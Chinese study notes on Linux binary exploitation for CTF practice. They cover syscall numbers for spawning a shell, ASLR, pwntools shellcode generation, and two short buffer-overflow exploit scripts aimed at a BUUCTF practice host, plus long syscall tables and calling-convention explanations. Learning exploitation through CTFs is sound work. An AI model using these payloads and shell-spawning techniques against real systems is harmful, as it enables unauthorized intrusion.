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在x64架构下execve和sys_rt_sigreturn的系统调用就是59(0x3B)和15(0xF),可以直接用execve(“/bin/sh”,0,0)或者有SROP的方法伪造signal frame构造execve(“/bin/sh”,0,0)再利用sys_rt_sigreturn来getshell

ASLR主要影响stack、share library、heap几个部分。
当ASLR=0时,栈和堆的地址都不会改变。
当ASLR=1时,栈的地址变了,堆的地址不变。
当ASLR=2时,栈和堆的地址都变了。

生成shellcode
32位:
print(shellcraft.sh()) 生成的是shell的汇编代码
print(asm(shellcraft.sh())) 生成的是shell的机械码

64位:
context.arch=“amd64”
print(shellcraft.sh()) 生成的是shell的汇编代码
print(asm(shellcraft.sh())) 生成的是shell的机械码

gcc -fno-stack-protector -z execstack -no-pie -g -o ret2 ret2.c

python3进行编译此条代码会出现报错:

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payload = 'a' * 4 + p64(1853186401)

报错信息:

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  File "mex.py", line 4, in <module>
payload = 'a'*4 + p64(1853186401)
TypeError: can only concatenate str (not "bytes") to str

报错翻译——字符类型不匹配不能进行拼接。

百度搜索相关资料,找到解决方法—添加后缀(**.decode(“iso-8859-1”)**)进行转码。

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payload = 'a'*4 + p64(1853186401).decode("iso-8859-1")

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payload = 'a' * 23 + p64(0x401185).decode("iso-8859-1") + p64(0x401186).decode("iso-8859-1");

要使用额外地址的原因是栈地址需要对齐才能执行system。

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

解决方法:

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from pwn import *
p=remote("node4.buuoj.cn",28002)
payload=23*'A'+p64(0x401186+1)+p64(0)#加1去跳过一个栈操作指令,使其对齐16字节
#p.recvuntil("please input")#这里用recvuntil会报连接超时,因为nc上去发现服务器那边的程序上没有打印这句话
p.sendline(payload)
p.interactive()
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from pwn import *
p=remote("node4.buuoj.cn",28002)
payload=23*'A'+p64(0x401016)+p64(0x401186)+p64(0)#0x401016是一个ret指令, p64(0)是system函数的返回地址
p.sendline(payload)
p.interactive()

p32、p64所做的是,将一个整形数据进行hex转换后,将这个进行转换成byte型,并进行小段输入。

Hex

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Hex就是16进制,本质上是将字节数组转化为16进制,然后用字符串的形式表现出来。

原理:一个8bit的数据,也就是(xxxx xxxx),每4个bit可以转化为一个16进制表示,也就是8个bit会转化为(00-ff)之间的16进制数字。

hex编码 :指将数据编码16进制字符串;hex解码:指16进制字符串解码为数据。

系统调用号(rax值)

在线查询链接:https://syscalls.w3challs.com/

分为32位和64位,链接中还有arm、mips等架构的系统调用号。

原链接没有arm64的,找到新的查询链接:https://syscall.sh/,此链接没有mips的系统调用

32位

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cat /usr/include/asm/unistd_32.h 
#ifndef _ASM_X86_UNISTD_32_H
#define _ASM_X86_UNISTD_32_H 1

#define __NR_restart_syscall 0
#define __NR_exit 1
#define __NR_fork 2
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
#define __NR_close 6
#define __NR_waitpid 7
#define __NR_creat 8
#define __NR_link 9
#define __NR_unlink 10
#define __NR_execve 11
#define __NR_chdir 12
#define __NR_time 13
#define __NR_mknod 14
#define __NR_chmod 15
#define __NR_lchown 16
#define __NR_break 17
#define __NR_oldstat 18
#define __NR_lseek 19
#define __NR_getpid 20
#define __NR_mount 21
#define __NR_umount 22
#define __NR_setuid 23
#define __NR_getuid 24
#define __NR_stime 25
#define __NR_ptrace 26
#define __NR_alarm 27
#define __NR_oldfstat 28
#define __NR_pause 29
#define __NR_utime 30
#define __NR_stty 31
#define __NR_gtty 32
#define __NR_access 33
#define __NR_nice 34
#define __NR_ftime 35
#define __NR_sync 36
#define __NR_kill 37
#define __NR_rename 38
#define __NR_mkdir 39
#define __NR_rmdir 40
#define __NR_dup 41
#define __NR_pipe 42
#define __NR_times 43
#define __NR_prof 44
#define __NR_brk 45
#define __NR_setgid 46
#define __NR_getgid 47
#define __NR_signal 48
#define __NR_geteuid 49
#define __NR_getegid 50
#define __NR_acct 51
#define __NR_umount2 52
#define __NR_lock 53
#define __NR_ioctl 54
#define __NR_fcntl 55
#define __NR_mpx 56
#define __NR_setpgid 57
#define __NR_ulimit 58
#define __NR_oldolduname 59
#define __NR_umask 60
#define __NR_chroot 61
#define __NR_ustat 62
#define __NR_dup2 63
#define __NR_getppid 64
#define __NR_getpgrp 65
#define __NR_setsid 66
#define __NR_sigaction 67
#define __NR_sgetmask 68
#define __NR_ssetmask 69
#define __NR_setreuid 70
#define __NR_setregid 71
#define __NR_sigsuspend 72
#define __NR_sigpending 73
#define __NR_sethostname 74
#define __NR_setrlimit 75
#define __NR_getrlimit 76
#define __NR_getrusage 77
#define __NR_gettimeofday 78
#define __NR_settimeofday 79
#define __NR_getgroups 80
#define __NR_setgroups 81
#define __NR_select 82
#define __NR_symlink 83
#define __NR_oldlstat 84
#define __NR_readlink 85
#define __NR_uselib 86
#define __NR_swapon 87
#define __NR_reboot 88
#define __NR_readdir 89
#define __NR_mmap 90
#define __NR_munmap 91
#define __NR_truncate 92
#define __NR_ftruncate 93
#define __NR_fchmod 94
#define __NR_fchown 95
#define __NR_getpriority 96
#define __NR_setpriority 97
#define __NR_profil 98
#define __NR_statfs 99
#define __NR_fstatfs 100
#define __NR_ioperm 101
#define __NR_socketcall 102
#define __NR_syslog 103
#define __NR_setitimer 104
#define __NR_getitimer 105
#define __NR_stat 106
#define __NR_lstat 107
#define __NR_fstat 108
#define __NR_olduname 109
#define __NR_iopl 110
#define __NR_vhangup 111
#define __NR_idle 112
#define __NR_vm86old 113
#define __NR_wait4 114
#define __NR_swapoff 115
#define __NR_sysinfo 116
#define __NR_ipc 117
#define __NR_fsync 118
#define __NR_sigreturn 119
#define __NR_clone 120
#define __NR_setdomainname 121
#define __NR_uname 122
#define __NR_modify_ldt 123
#define __NR_adjtimex 124
#define __NR_mprotect 125
#define __NR_sigprocmask 126
#define __NR_create_module 127
#define __NR_init_module 128
#define __NR_delete_module 129
#define __NR_get_kernel_syms 130
#define __NR_quotactl 131
#define __NR_getpgid 132
#define __NR_fchdir 133
#define __NR_bdflush 134
#define __NR_sysfs 135
#define __NR_personality 136
#define __NR_afs_syscall 137
#define __NR_setfsuid 138
#define __NR_setfsgid 139
#define __NR__llseek 140
#define __NR_getdents 141
#define __NR__newselect 142
#define __NR_flock 143
#define __NR_msync 144
#define __NR_readv 145
#define __NR_writev 146
#define __NR_getsid 147
#define __NR_fdatasync 148
#define __NR__sysctl 149
#define __NR_mlock 150
#define __NR_munlock 151
#define __NR_mlockall 152
#define __NR_munlockall 153
#define __NR_sched_setparam 154
#define __NR_sched_getparam 155
#define __NR_sched_setscheduler 156
#define __NR_sched_getscheduler 157
#define __NR_sched_yield 158
#define __NR_sched_get_priority_max 159
#define __NR_sched_get_priority_min 160
#define __NR_sched_rr_get_interval 161
#define __NR_nanosleep 162
#define __NR_mremap 163
#define __NR_setresuid 164
#define __NR_getresuid 165
#define __NR_vm86 166
#define __NR_query_module 167
#define __NR_poll 168
#define __NR_nfsservctl 169
#define __NR_setresgid 170
#define __NR_getresgid 171
#define __NR_prctl 172
#define __NR_rt_sigreturn 173
#define __NR_rt_sigaction 174
#define __NR_rt_sigprocmask 175
#define __NR_rt_sigpending 176
#define __NR_rt_sigtimedwait 177
#define __NR_rt_sigqueueinfo 178
#define __NR_rt_sigsuspend 179
#define __NR_pread64 180
#define __NR_pwrite64 181
#define __NR_chown 182
#define __NR_getcwd 183
#define __NR_capget 184
#define __NR_capset 185
#define __NR_sigaltstack 186
#define __NR_sendfile 187
#define __NR_getpmsg 188
#define __NR_putpmsg 189
#define __NR_vfork 190
#define __NR_ugetrlimit 191
#define __NR_mmap2 192
#define __NR_truncate64 193
#define __NR_ftruncate64 194
#define __NR_stat64 195
#define __NR_lstat64 196
#define __NR_fstat64 197
#define __NR_lchown32 198
#define __NR_getuid32 199
#define __NR_getgid32 200
#define __NR_geteuid32 201
#define __NR_getegid32 202
#define __NR_setreuid32 203
#define __NR_setregid32 204
#define __NR_getgroups32 205
#define __NR_setgroups32 206
#define __NR_fchown32 207
#define __NR_setresuid32 208
#define __NR_getresuid32 209
#define __NR_setresgid32 210
#define __NR_getresgid32 211
#define __NR_chown32 212
#define __NR_setuid32 213
#define __NR_setgid32 214
#define __NR_setfsuid32 215
#define __NR_setfsgid32 216
#define __NR_pivot_root 217
#define __NR_mincore 218
#define __NR_madvise 219
#define __NR_getdents64 220
#define __NR_fcntl64 221
#define __NR_gettid 224
#define __NR_readahead 225
#define __NR_setxattr 226
#define __NR_lsetxattr 227
#define __NR_fsetxattr 228
#define __NR_getxattr 229
#define __NR_lgetxattr 230
#define __NR_fgetxattr 231
#define __NR_listxattr 232
#define __NR_llistxattr 233
#define __NR_flistxattr 234
#define __NR_removexattr 235
#define __NR_lremovexattr 236
#define __NR_fremovexattr 237
#define __NR_tkill 238
#define __NR_sendfile64 239
#define __NR_futex 240
#define __NR_sched_setaffinity 241
#define __NR_sched_getaffinity 242
#define __NR_set_thread_area 243
#define __NR_get_thread_area 244
#define __NR_io_setup 245
#define __NR_io_destroy 246
#define __NR_io_getevents 247
#define __NR_io_submit 248
#define __NR_io_cancel 249
#define __NR_fadvise64 250
#define __NR_exit_group 252
#define __NR_lookup_dcookie 253
#define __NR_epoll_create 254
#define __NR_epoll_ctl 255
#define __NR_epoll_wait 256
#define __NR_remap_file_pages 257
#define __NR_set_tid_address 258
#define __NR_timer_create 259
#define __NR_timer_settime 260
#define __NR_timer_gettime 261
#define __NR_timer_getoverrun 262
#define __NR_timer_delete 263
#define __NR_clock_settime 264
#define __NR_clock_gettime 265
#define __NR_clock_getres 266
#define __NR_clock_nanosleep 267
#define __NR_statfs64 268
#define __NR_fstatfs64 269
#define __NR_tgkill 270
#define __NR_utimes 271
#define __NR_fadvise64_64 272
#define __NR_vserver 273
#define __NR_mbind 274
#define __NR_get_mempolicy 275
#define __NR_set_mempolicy 276
#define __NR_mq_open 277
#define __NR_mq_unlink 278
#define __NR_mq_timedsend 279
#define __NR_mq_timedreceive 280
#define __NR_mq_notify 281
#define __NR_mq_getsetattr 282
#define __NR_kexec_load 283
#define __NR_waitid 284
#define __NR_add_key 286
#define __NR_request_key 287
#define __NR_keyctl 288
#define __NR_ioprio_set 289
#define __NR_ioprio_get 290
#define __NR_inotify_init 291
#define __NR_inotify_add_watch 292
#define __NR_inotify_rm_watch 293
#define __NR_migrate_pages 294
#define __NR_openat 295
#define __NR_mkdirat 296
#define __NR_mknodat 297
#define __NR_fchownat 298
#define __NR_futimesat 299
#define __NR_fstatat64 300
#define __NR_unlinkat 301
#define __NR_renameat 302
#define __NR_linkat 303
#define __NR_symlinkat 304
#define __NR_readlinkat 305
#define __NR_fchmodat 306
#define __NR_faccessat 307
#define __NR_pselect6 308
#define __NR_ppoll 309
#define __NR_unshare 310
#define __NR_set_robust_list 311
#define __NR_get_robust_list 312
#define __NR_splice 313
#define __NR_sync_file_range 314
#define __NR_tee 315
#define __NR_vmsplice 316
#define __NR_move_pages 317
#define __NR_getcpu 318
#define __NR_epoll_pwait 319
#define __NR_utimensat 320
#define __NR_signalfd 321
#define __NR_timerfd_create 322
#define __NR_eventfd 323
#define __NR_fallocate 324
#define __NR_timerfd_settime 325
#define __NR_timerfd_gettime 326
#define __NR_signalfd4 327
#define __NR_eventfd2 328
#define __NR_epoll_create1 329
#define __NR_dup3 330
#define __NR_pipe2 331
#define __NR_inotify_init1 332
#define __NR_preadv 333
#define __NR_pwritev 334
#define __NR_rt_tgsigqueueinfo 335
#define __NR_perf_event_open 336
#define __NR_recvmmsg 337
#define __NR_fanotify_init 338
#define __NR_fanotify_mark 339
#define __NR_prlimit64 340
#define __NR_name_to_handle_at 341
#define __NR_open_by_handle_at 342
#define __NR_clock_adjtime 343
#define __NR_syncfs 344
#define __NR_sendmmsg 345
#define __NR_setns 346
#define __NR_process_vm_readv 347
#define __NR_process_vm_writev 348
#define __NR_kcmp 349
#define __NR_finit_module 350
#define __NR_sched_setattr 351
#define __NR_sched_getattr 352
#define __NR_renameat2 353
#define __NR_seccomp 354
#define __NR_getrandom 355
#define __NR_memfd_create 356
#define __NR_bpf 357
#define __NR_execveat 358
#define __NR_socket 359
#define __NR_socketpair 360
#define __NR_bind 361
#define __NR_connect 362
#define __NR_listen 363
#define __NR_accept4 364
#define __NR_getsockopt 365
#define __NR_setsockopt 366
#define __NR_getsockname 367
#define __NR_getpeername 368
#define __NR_sendto 369
#define __NR_sendmsg 370
#define __NR_recvfrom 371
#define __NR_recvmsg 372
#define __NR_shutdown 373
#define __NR_userfaultfd 374
#define __NR_membarrier 375
#define __NR_mlock2 376
#define __NR_copy_file_range 377
#define __NR_preadv2 378
#define __NR_pwritev2 379
#define __NR_pkey_mprotect 380
#define __NR_pkey_alloc 381
#define __NR_pkey_free 382
#define __NR_statx 383
#define __NR_arch_prctl 384

#endif /* _ASM_X86_UNISTD_32_H */

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cat /usr/include/asm/unistd_64.h 
#ifndef _ASM_X86_UNISTD_64_H
#define _ASM_X86_UNISTD_64_H 1

#define __NR_read 0
#define __NR_write 1
#define __NR_open 2
#define __NR_close 3
#define __NR_stat 4
#define __NR_fstat 5
#define __NR_lstat 6
#define __NR_poll 7
#define __NR_lseek 8
#define __NR_mmap 9
#define __NR_mprotect 10
#define __NR_munmap 11
#define __NR_brk 12
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#define __NR_rt_sigprocmask 14
#define __NR_rt_sigreturn 15
#define __NR_ioctl 16
#define __NR_pread64 17
#define __NR_pwrite64 18
#define __NR_readv 19
#define __NR_writev 20
#define __NR_access 21
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#define __NR_select 23
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#define __NR_mremap 25
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#define __NR_madvise 28
#define __NR_shmget 29
#define __NR_shmat 30
#define __NR_shmctl 31
#define __NR_dup 32
#define __NR_dup2 33
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#define __NR_getitimer 36
#define __NR_alarm 37
#define __NR_setitimer 38
#define __NR_getpid 39
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#define __NR_socket 41
#define __NR_connect 42
#define __NR_accept 43
#define __NR_sendto 44
#define __NR_recvfrom 45
#define __NR_sendmsg 46
#define __NR_recvmsg 47
#define __NR_shutdown 48
#define __NR_bind 49
#define __NR_listen 50
#define __NR_getsockname 51
#define __NR_getpeername 52
#define __NR_socketpair 53
#define __NR_setsockopt 54
#define __NR_getsockopt 55
#define __NR_clone 56
#define __NR_fork 57
#define __NR_vfork 58
#define __NR_execve 59
#define __NR_exit 60
#define __NR_wait4 61
#define __NR_kill 62
#define __NR_uname 63
#define __NR_semget 64
#define __NR_semop 65
#define __NR_semctl 66
#define __NR_shmdt 67
#define __NR_msgget 68
#define __NR_msgsnd 69
#define __NR_msgrcv 70
#define __NR_msgctl 71
#define __NR_fcntl 72
#define __NR_flock 73
#define __NR_fsync 74
#define __NR_fdatasync 75
#define __NR_truncate 76
#define __NR_ftruncate 77
#define __NR_getdents 78
#define __NR_getcwd 79
#define __NR_chdir 80
#define __NR_fchdir 81
#define __NR_rename 82
#define __NR_mkdir 83
#define __NR_rmdir 84
#define __NR_creat 85
#define __NR_link 86
#define __NR_unlink 87
#define __NR_symlink 88
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#define __NR_fchmod 91
#define __NR_chown 92
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#define __NR_times 100
#define __NR_ptrace 101
#define __NR_getuid 102
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#define __NR_setuid 105
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#define __NR_geteuid 107
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#define __NR_getppid 110
#define __NR_getpgrp 111
#define __NR_setsid 112
#define __NR_setreuid 113
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#define __NR_getgroups 115
#define __NR_setgroups 116
#define __NR_setresuid 117
#define __NR_getresuid 118
#define __NR_setresgid 119
#define __NR_getresgid 120
#define __NR_getpgid 121
#define __NR_setfsuid 122
#define __NR_setfsgid 123
#define __NR_getsid 124
#define __NR_capget 125
#define __NR_capset 126
#define __NR_rt_sigpending 127
#define __NR_rt_sigtimedwait 128
#define __NR_rt_sigqueueinfo 129
#define __NR_rt_sigsuspend 130
#define __NR_sigaltstack 131
#define __NR_utime 132
#define __NR_mknod 133
#define __NR_uselib 134
#define __NR_personality 135
#define __NR_ustat 136
#define __NR_statfs 137
#define __NR_fstatfs 138
#define __NR_sysfs 139
#define __NR_getpriority 140
#define __NR_setpriority 141
#define __NR_sched_setparam 142
#define __NR_sched_getparam 143
#define __NR_sched_setscheduler 144
#define __NR_sched_getscheduler 145
#define __NR_sched_get_priority_max 146
#define __NR_sched_get_priority_min 147
#define __NR_sched_rr_get_interval 148
#define __NR_mlock 149
#define __NR_munlock 150
#define __NR_mlockall 151
#define __NR_munlockall 152
#define __NR_vhangup 153
#define __NR_modify_ldt 154
#define __NR_pivot_root 155
#define __NR__sysctl 156
#define __NR_prctl 157
#define __NR_arch_prctl 158
#define __NR_adjtimex 159
#define __NR_setrlimit 160
#define __NR_chroot 161
#define __NR_sync 162
#define __NR_acct 163
#define __NR_settimeofday 164
#define __NR_mount 165
#define __NR_umount2 166
#define __NR_swapon 167
#define __NR_swapoff 168
#define __NR_reboot 169
#define __NR_sethostname 170
#define __NR_setdomainname 171
#define __NR_iopl 172
#define __NR_ioperm 173
#define __NR_create_module 174
#define __NR_init_module 175
#define __NR_delete_module 176
#define __NR_get_kernel_syms 177
#define __NR_query_module 178
#define __NR_quotactl 179
#define __NR_nfsservctl 180
#define __NR_getpmsg 181
#define __NR_putpmsg 182
#define __NR_afs_syscall 183
#define __NR_tuxcall 184
#define __NR_security 185
#define __NR_gettid 186
#define __NR_readahead 187
#define __NR_setxattr 188
#define __NR_lsetxattr 189
#define __NR_fsetxattr 190
#define __NR_getxattr 191
#define __NR_lgetxattr 192
#define __NR_fgetxattr 193
#define __NR_listxattr 194
#define __NR_llistxattr 195
#define __NR_flistxattr 196
#define __NR_removexattr 197
#define __NR_lremovexattr 198
#define __NR_fremovexattr 199
#define __NR_tkill 200
#define __NR_time 201
#define __NR_futex 202
#define __NR_sched_setaffinity 203
#define __NR_sched_getaffinity 204
#define __NR_set_thread_area 205
#define __NR_io_setup 206
#define __NR_io_destroy 207
#define __NR_io_getevents 208
#define __NR_io_submit 209
#define __NR_io_cancel 210
#define __NR_get_thread_area 211
#define __NR_lookup_dcookie 212
#define __NR_epoll_create 213
#define __NR_epoll_ctl_old 214
#define __NR_epoll_wait_old 215
#define __NR_remap_file_pages 216
#define __NR_getdents64 217
#define __NR_set_tid_address 218
#define __NR_restart_syscall 219
#define __NR_semtimedop 220
#define __NR_fadvise64 221
#define __NR_timer_create 222
#define __NR_timer_settime 223
#define __NR_timer_gettime 224
#define __NR_timer_getoverrun 225
#define __NR_timer_delete 226
#define __NR_clock_settime 227
#define __NR_clock_gettime 228
#define __NR_clock_getres 229
#define __NR_clock_nanosleep 230
#define __NR_exit_group 231
#define __NR_epoll_wait 232
#define __NR_epoll_ctl 233
#define __NR_tgkill 234
#define __NR_utimes 235
#define __NR_vserver 236
#define __NR_mbind 237
#define __NR_set_mempolicy 238
#define __NR_get_mempolicy 239
#define __NR_mq_open 240
#define __NR_mq_unlink 241
#define __NR_mq_timedsend 242
#define __NR_mq_timedreceive 243
#define __NR_mq_notify 244
#define __NR_mq_getsetattr 245
#define __NR_kexec_load 246
#define __NR_waitid 247
#define __NR_add_key 248
#define __NR_request_key 249
#define __NR_keyctl 250
#define __NR_ioprio_set 251
#define __NR_ioprio_get 252
#define __NR_inotify_init 253
#define __NR_inotify_add_watch 254
#define __NR_inotify_rm_watch 255
#define __NR_migrate_pages 256
#define __NR_openat 257
#define __NR_mkdirat 258
#define __NR_mknodat 259
#define __NR_fchownat 260
#define __NR_futimesat 261
#define __NR_newfstatat 262
#define __NR_unlinkat 263
#define __NR_renameat 264
#define __NR_linkat 265
#define __NR_symlinkat 266
#define __NR_readlinkat 267
#define __NR_fchmodat 268
#define __NR_faccessat 269
#define __NR_pselect6 270
#define __NR_ppoll 271
#define __NR_unshare 272
#define __NR_set_robust_list 273
#define __NR_get_robust_list 274
#define __NR_splice 275
#define __NR_tee 276
#define __NR_sync_file_range 277
#define __NR_vmsplice 278
#define __NR_move_pages 279
#define __NR_utimensat 280
#define __NR_epoll_pwait 281
#define __NR_signalfd 282
#define __NR_timerfd_create 283
#define __NR_eventfd 284
#define __NR_fallocate 285
#define __NR_timerfd_settime 286
#define __NR_timerfd_gettime 287
#define __NR_accept4 288
#define __NR_signalfd4 289
#define __NR_eventfd2 290
#define __NR_epoll_create1 291
#define __NR_dup3 292
#define __NR_pipe2 293
#define __NR_inotify_init1 294
#define __NR_preadv 295
#define __NR_pwritev 296
#define __NR_rt_tgsigqueueinfo 297
#define __NR_perf_event_open 298
#define __NR_recvmmsg 299
#define __NR_fanotify_init 300
#define __NR_fanotify_mark 301
#define __NR_prlimit64 302
#define __NR_name_to_handle_at 303
#define __NR_open_by_handle_at 304
#define __NR_clock_adjtime 305
#define __NR_syncfs 306
#define __NR_sendmmsg 307
#define __NR_setns 308
#define __NR_getcpu 309
#define __NR_process_vm_readv 310
#define __NR_process_vm_writev 311
#define __NR_kcmp 312
#define __NR_finit_module 313
#define __NR_sched_setattr 314
#define __NR_sched_getattr 315
#define __NR_renameat2 316
#define __NR_seccomp 317
#define __NR_getrandom 318
#define __NR_memfd_create 319
#define __NR_kexec_file_load 320
#define __NR_bpf 321
#define __NR_execveat 322
#define __NR_userfaultfd 323
#define __NR_membarrier 324
#define __NR_mlock2 325
#define __NR_copy_file_range 326
#define __NR_preadv2 327
#define __NR_pwritev2 328
#define __NR_pkey_mprotect 329
#define __NR_pkey_alloc 330
#define __NR_pkey_free 331
#define __NR_statx 332

#endif /* _ASM_X86_UNISTD_64_H */

系统调用(syscall)的类型

系统调用是操作系统提供的接口,允许用户程序请求内核执行特定操作。以下是一些常见的系统调用示例(以 Linux 系统为例):

文件操作

  1. sys_open: 打开文件。
  2. sys_read: 读取文件内容。
  3. sys_write: 写入数据到文件。
  4. sys_close: 关闭文件描述符。
  5. sys_lseek: 移动文件指针。

进程控制

  1. sys_fork: 创建子进程。
  2. sys_execve: 执行新程序。
  3. sys_waitpid: 等待子进程结束。
  4. sys_exit: 退出进程。
  5. sys_getpid: 获取当前进程ID。

内存管理

  1. sys_mmap: 映射文件或设备到内存。
  2. sys_munmap: 解除映射内存区域。
  3. sys_brk: 调整数据段末尾。

网络操作

  1. sys_socket: 创建网络套接字。
  2. sys_bind: 绑定套接字到地址。
  3. sys_listen: 监听连接请求。
  4. sys_accept: 接受连接请求。
  5. sys_recv: 接收数据。
  6. sys_send: 发送数据。

时间与日期

  1. sys_time: 获取当前时间。
  2. sys_gettimeofday: 获取当前时间和微秒。

目录操作

  1. sys_opendir: 打开目录。
  2. sys_readdir: 读取目录内容。
  3. sys_closedir: 关闭目录流。

权限管理

  1. sys_chown: 更改文件所有者和组。
  2. sys_chmod: 更改文件权限。

信号处理

  1. sys_kill: 发送信号到进程。
  2. sys_signal: 设置信号处理函数。

设备管理

  1. sys_ioctl: 执行设备控制操作。

示例代码

以下是一个简单的示例,展示如何使用系统调用打开文件并写入内容:

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#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>

int main() {
const char *message = "Hello, World!\n";

// 使用 sys_open 打开文件
int fd = syscall(SYS_open, "output.txt", O_WRONLY | O_CREAT, 0644);
if (fd < 0) {
return 1; // 错误处理
}

// 使用 sys_write 写入文件
syscall(SYS_write, fd, message, 14);

// 使用 sys_close 关闭文件
syscall(SYS_close, fd);

return 0;
}

函数调用约定通常规定如下几方面内容:

\1) 函数参数的传递顺序和方式

最常见的参数传递方式是通过堆栈传递。主调函数将参数压入栈中,被调函数以相对于帧基指针的正偏移量来访问栈中的参数。对于有多个参数的函数,调用约定需规定主调函数将参数压栈的顺序(从左至右还是从右至左)。某些调用约定允许使用寄存器传参以提高性能。

\2) 栈的维护方式

主调函数将参数压栈后调用 被调函数体,返回时需将 被压栈的参数 全部弹出,以便将栈恢复到调用前的状态。该清栈过程可由 主调函数 负责完成,也可由 被调函数 负责完成。

\3) 名字修饰(Name-mangling)策略

又称函数名修饰(Decorated Name)规则。编译器在链接时为区分不同函数,对函数名作不同修饰。

若函数之间的调用约定不匹配,可能会产生堆栈异常或链接错误等问题。因此,为了保证程序能正确执行,所有的函数调用均应遵守一致的调用约定。


image-20240318213236314

Windows下可直接在函数声明前添加关键字__stdcall、__cdecl或__fastcall等标识确定函数的调用方式,如int __stdcall func()。Linux下可借用函数attribute 机制,如int attribute((stdcall)) func()。

c++函数的缺省值:

c++中,定义函数的时候可以让最右边的连续若干个参数有缺省值,在调用函数的时候,如果不写相应位置的参数,则调用的参数就为缺省值。

不同编译器产生栈帧的方式不尽相同,主调函数不一定能正常完成清栈工作;而被调函数必然能自己完成正常清栈,因此,在跨(开发)平台调用中,通常使用stdcall调用约定(不少WinApi均采用该约定)。

此外,主调函数和被调函数所在模块采用相同的调用约定,但分别使用C++和C语法编译时,会出现链接错误(报告被调函数未定义)。这是因为两种语言的函数名字修饰规则不同,解决方式是使用extern “C”告知主调函数所在模块:被调函数是C语言编译的。采用C语言编译的库应考虑到使用该库的程序可能是C++程序(使用C++编译器),通常应这样声明头文件:

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1 #ifdef _cplusplus
2 extern "C" {
3 #endif
4 type Func(type para);
5 #ifdef _cplusplus
6 }
7 #endif

这样C++编译器就会按照C语言修饰策略链接Func函数名,而不会出现找不到函数的链接错误。

x86函数参数传递方法:

​ x86处理器ABI规范中规定,所有传递给被调函数的参数都通过堆栈来完成,其压栈顺序是以函数参数从右到左的顺序。当向被调函数传递参数时,所有参数最后形成一个数组。由于采用从右到左的压栈顺序,数组中参数的顺序(下标0N-1)与函数参数声明顺序(Para1N)一致。因此,在函数中若知道第一个参数地址和各参数占用字节数,就可通过访问数组的方式去访问每个参数。

栈帧地址未压入参数时为4(%ebp)

x86函数返回值传递方法

函数返回值可通过寄存器传递。当被调用函数需要返回结果给调用函数时:

\1) 若返回值不超过4字节(如int、short、char、指针等类型),通常将其保存在EAX寄存器中,调用方通过读取EAX获取返回值。

\2) 若返回值大于4字节而小于8字节(如long long或_int64类型),则通过EAX+EDX寄存器联合返回,其中EDX保存返回值高4字节,EAX保存返回值低4字节。

\3) 若返回值为浮点类型(如float和double),则通过专用的协处理器浮点数寄存器栈的栈顶返回。

\4) 若返回值为结构体或联合体,则主调函数向被调函数传递一个额外参数,该参数指向将要保存返回值的地址。

eg:函数调用foo(p1, p2)被转化为foo(&p0, p1, p2),以引用型参数形式传回返回值。

具体步骤可能为:

a.主调函数将显式的实参逆序入栈;

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#"逆序入栈" 通常是指在将一系列元素入栈(push)到栈(stack)中时,这些元素按照它们原始顺序的逆序进入栈。也就是说,最后一个元素首先入栈,然后是倒数第二个元素,依此类推,直到第一个元素最后入栈。这样做通常是为了在后续的出栈(pop)操作中,元素能够以原始顺序出现。

b.将接收返回值的结构体变量地址作为隐藏参数入栈(若未定义该接收变量,则在栈上额外开辟空间作为接收返回值的临时变量);

c. 被调函数将待返回数据拷贝到隐藏参数所指向的内存地址,并将该地址存入%eax寄存器。

因此,在被调函数中完成返回值的赋值工作。****


注意:函数如何传递结构体或联合体返回值依赖于具体实现。不同编译器、平台、调用约定甚至编译参数下可能采用不同的实现方法(VC6编译器对于不超过8字节的小结构体,会通过EAX+EDX寄存器返回)。而对于超过8字节的大结构体,主调函数在栈上分配用于接收返回值的临时结构体,并将地址通过栈传递给被调函数;被调函数根据返回值地址设置返回值(拷贝操作);调用返回后主调函数根据需要,再将返回值赋值给需要的临时变量(二次拷贝)。实际使用中为提高效率,通常将结构体指针作为实参传递给被调函数以接收返回值(这种方法允许你修改结构体的内容,但并不能直接返回一个全新的结构体。如果你需要返回一个全新的结构体,你可能需要动态分配内存,但这会带来额外的复杂性和责任)。


\5) 不要返回指向栈内存的指针,如返回被调函数内局部变量地址(包括局部数组名)。因为函数返回后,其栈帧空间被“释放”,原栈帧内分配的局部变量空间的内容是不稳定和不被保证的。

函数返回值通过寄存器传递,无需空间分配等操作,故返回值的代价很低。基于此原因,C89规范中约定,不写明返回值类型的函数,返回值类型默认为int。但这会带来类型安全隐患,如函数定义时返回值为浮点数,而函数未声明或声明时未指明返回值类型,则调用时默认从寄存器EAX(而不是浮点数寄存器)中获取返回值,导致错误!因此在C++中,不写明返回值类型的函数返回值类型为void,表示不返回值。

GCC使用系统的标准约定来传递参数。在一些机器上,前几个参数通过寄存器传递;在另一些机器上,所有的参数都通过栈传递。原本可在所有机器上都使用寄存器来传递参数,而且此法还可能显著提高性能。但这样就与使用标准约定的代码完全不兼容。所以这种改变只在将GCC作为系统唯一的C编译器时才实用。当拥有一套完整的GNU 系统,能够用GCC来编译库时,可在特定机器上实现寄存器参数传递。

在一些机器上(特别是SPARC),一些类型的参数通过“隐匿引用”(invisible reference)来传递。这意味着值存储在内存中,将值的内存地址传给子程序。

每条指令的作用:

  1. push eip+4;

    • 这条指令将当前指令指针寄存器(eip)加上 4 的值压入栈中。这里的 eip+4 实际上是下一条指令的地址(假设没有其他的分支跳转或中断),因为 eip 指向当前正在执行的指令的地址。这样做通常是为了将返回地址(即函数调用指令的下一条指令地址)保存到栈中,以便函数调用完成后可以正确地返回。
  2. push ebp;

    • 这条指令将当前基指针寄存器(ebp)的值压入栈中。ebp 通常用于指向当前栈帧的基址,因此将其值保存下来是为了在函数调用完成后能够恢复到调用函数之前的栈帧状态。
  3. mov ebp, esp;

    • 这条指令将栈指针寄存器(esp)的值复制到基指针寄存器(ebp)。这意味着函数的栈帧基址现在被设置为当前栈顶的位置。之后,函数可以通过 ebp 寄存器访问其局部变量和参数。

这段代码的整体作用是设置一个新的栈帧,使得函数可以在其局部变量和参数上进行操作,同时保留调用函数前的栈帧状态,以便在函数返回时能够恢复原始状态。

主要通过两次leave ret指令得到目的,最主要是要得到ebp值也就是栈底的地址,来更精确地进行两次leave,第一次的leave是输入后的自带leave,第二次的leave是我们自己导入的leave,做完之后就按着输入顺序一一调取按顺序进行。之后执行之前相当于一串函数,执行ret gift

​ main

的操作,执行gitf时进行压栈,rsp下移到main,gift结束时执行main。

32位模板:

